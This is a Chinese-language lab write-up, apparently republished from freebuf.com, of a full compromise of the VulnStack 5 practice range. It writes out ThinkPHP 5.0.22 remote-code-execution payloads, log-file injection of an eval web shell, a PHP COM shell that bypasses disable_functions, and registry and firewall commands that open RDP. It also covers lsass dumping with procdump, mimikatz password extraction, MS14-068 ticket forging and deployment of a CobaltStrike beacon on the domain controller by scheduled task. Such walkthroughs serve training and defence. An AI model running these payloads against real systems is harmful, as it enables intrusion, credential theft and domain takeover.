内网渗透靶机-VulnStack 5 – 作者:dnsill

WEB服务器:windows7系统

外网网卡IP:192.168.1.104
内网网卡IP:192.168.138.136

域控服务器:windows server 2008系统

网卡IP:192.168.138.138

攻击机器:kali windows 10

kali IP:192.168.1.105

Thinkphp远程代码执行

首先访问WEB页面,呈现出来的就是线显眼的Thinkphp V5版本的页面。

1.png

首先对其进行目录扫描,发现了一处add.php可以的页面,是大马的登陆页面。应该是某hack留下的。

2.png

首先让Thinkphp页面报错,但是这里它并没有泄露一些其他的敏感信息,但是这里的版本V5.0.22是存在远程代码执行的。

3.png

使用POC进行验证,的确有远程代码执行漏洞,这里显示了php版本为PHP Version 5.4.45,并且网站的绝对路径为C:/phpStudy/PHPTutorial/WWW/public

http://192.168.1.104//index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

4.png

接着使用代码执行的POC进行查看系统权限,但是这里并没有回显回来命令执行的结果。

5.png

如果是未执行到命令的话,可能就是PHP禁止了一些危险的PHP函数了。返回到phpinfo页面查看禁止的函数,的确这里把命令执行的函数都给禁止了。

6.png

既然是这样的话可以通过包含日志文件进行getshell也是可以的。使网页报错,把一句话木马的报错记录进入日志文件里面

URL:http://192.168.1.104//index.php?s=captcha
POST:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[6666]);?>

7.png

接着进行验证,查看一些PHP一句话代码是否已经记录进去了日志文件里面。这里直接成功包含了日志文件,并且执行了php代码。

URL:http://192.168.1.104//index.php?s=captcha
POST:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202007/20.log&6666=phpinfo();

8.png

接着就可以使用菜刀进行连接了。URL如下,把包含了一句话木马的日志文件作为URL密码为666。使用菜刀连接成功。

http://192.168.1.104//index.php?s=index/think\app/invokefunction&function=think\__include_file&vars[0]=../runtime/log/202007/20.log

9.png

接着访问之前遇到的大马,查看源码,发现它的密码是进行MD5加密了,对其进行解密之后密码是admins。

10.png

接着需要突破disable_function的限制来执行命令了,由于这里是windows系统,可以利用COM组件来进行绕过,在phpinfo里面查看com_dotnet这栏,看到开启了COM组件。

11.png

接着上传如下代码的PHP文件到对方网站目录下。COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

COM组件可以动态的插入或卸出应用。(高版本需要扩展需要自己添加才能使用,不然不能使用COM组件。下图是高版本php,默认是把该组件注释或者没有添加该组件的)

12.png

接着就可以利用COM组件来突破函数限制执行代码了。这里执行命令查看到权限为administrator权限

13.png

查看一些系统的信息,目标web服务器的系统是win7系统,并且打了三个补丁。对方的系统是在sun.com域里面

14.png

接着开启对方的3389端口。可以使用注册表的方法开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

15.png

接着上传一个procdump.exe进去目标机器,使用该工具把凭证信息获取下来到1.dmp文件里面。

procdump64.exe -accepteula -ma lsass.exe 1.dmp

16.png

接着在使用mimikatz获取到密码的明文信息。

mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

这里一共获取到了两个用户的信息,Administrator的密码是dc123.com。用户leo的密码为123.com

17.png

18.png

然后在防火墙规则中开启远程桌面,然后再登陆进去登陆进去到对方系统里面。

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

19.png

然后进去之后,开启相对于的端口,让CobaltStrike上线。上线之后查看一些本地存活主机,发现一台192.168.138.138的主机存活。

20.png

使用ipconfig /all查看网络的详细信息,看到WEB服务器的DNS地址为192.168.138.138。并且再sun.com域里面

21.png

ping一下sun.com查看一下ip地址。可以推断域控就是192.168.138.138这个IP地址了。

22.png

已经知道了域控的IP地址,那么就可以试一下是否可以利用ms14-068来获取域控的权限。首先获取到administrator的用户sid

23.png

获取了sid之后,把ms14-068上传到目标主机上面,然后把先对应的参数写入进去,生成票据

MS14-068.exe -u [email protected]  -p dc1234.com  -s S-1-5-21-3388020223-1982701712-4030140183-500 -d 192.168.138.138

24.png

然后在CobaltStrike上使用mimikatz把票据注入进去内存。

25.png

然后就可以访问到DC.sun.com域控了。

26.png

老套路生成一个中转的监听。内网流量转到WEB服务器上面

27.png

生成一个后门木马,把木马copy到域控DC的C盘上面。并且在创建一个定时任务,这里就不需要写入密码

shell copy C:\beacon.exe \\DC.sun.com\c$
shell schtasks /create /tn "test" /tr C:\beacon.exe /sc once /st 15:58 /S 192.168.138.138 /RU System
shell schtasks /delete /s 192.168.138.138 /tn "test" /f  //上线之后删除计划任务

不过一会之后域控就会上线CobaltStrike,并且返回了system权限。

28.png

 

 

图片[29]-内网渗透靶机-VulnStack 5 – 作者:dnsill-安全小百科

来源:freebuf.com 2020-08-13 14:58:29 by: dnsill

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论